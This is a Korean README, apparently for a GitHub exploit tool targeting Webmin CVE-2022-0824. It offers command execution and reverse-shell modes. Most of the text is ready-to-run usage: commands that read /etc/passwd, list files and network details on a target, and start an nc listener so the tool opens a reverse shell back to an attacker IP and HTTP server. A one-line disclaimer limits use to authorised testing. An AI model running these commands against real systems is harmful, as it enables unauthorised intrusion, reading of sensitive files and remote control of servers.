
Webmin CVE-2022-0824에 대한 Python 익스플로잇, 이중 모드 지원: 직접 명령 실행 및 리버스 셸. 여러 페이로드 유형, 지능형 파일 관리, 승인된 보안 테스트를 위한 상세한 디버그 로깅을 특징으로 합니다.
[!IMPORTANT]
Webmin CVE-2022-0824 향상된 취약점 익스플로잇 도구 - 명령 실행 및 리버스 쉘 이중 모드 지원
[!IMPORTANT]
Webmin CVE-2022-0824 취약점을 위한 향상된 익스플로잇 도구로, 직접 명령 실행과 리버스 쉘 두 가지 모드를 지원합니다.
# Python 3.6+
pip3 install requests urllib3
# 기본 명령 실행
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# 시스템 정보 확인
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# 파일 목록 출력
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# 민감 파일 확인
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# 네트워크 정보
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
# 1. 리스너 시작
nc -nlvp 9999
# 2. 익스플로잇 실행
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
*참고: 리버스 쉘 모드에서 필수
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
본 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다.
Issue 및 Pull Request를 환영합니다!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)이 프로젝트는 MIT 라이선스를 따릅니다. 자세한 내용은 LICENSE 파일을 참조하세요.
문의나 제안 사항이 있으면 다음 방법으로 연락해 주세요:
⭐ 이 프로젝트가 도움이 되었다면 Star를 눌러 주세요!
requests>=2.25.1
urllib3>=1.26.0
| 매개변수 | 설명 | 필수 | 예시 |
|---|
-t, --target | 대상 Webmin URL | ✅ | http://192.168.1.100:10000/ |
-c, --credential | 로그인 자격 증명 | ✅ | admin:password |
-LS, --py3http_server | HTTP 서버 주소 | ✅ | 192.168.1.50:8080 |
--shell | 실행할 명령 | ❌ | "ls -la" |
-L, --callback_ip | 리버스 쉘 콜백 IP | ❌* | 192.168.1.50 |
-P, --callback_port | 리버스 쉘 콜백 포트 | ❌* | 9999 |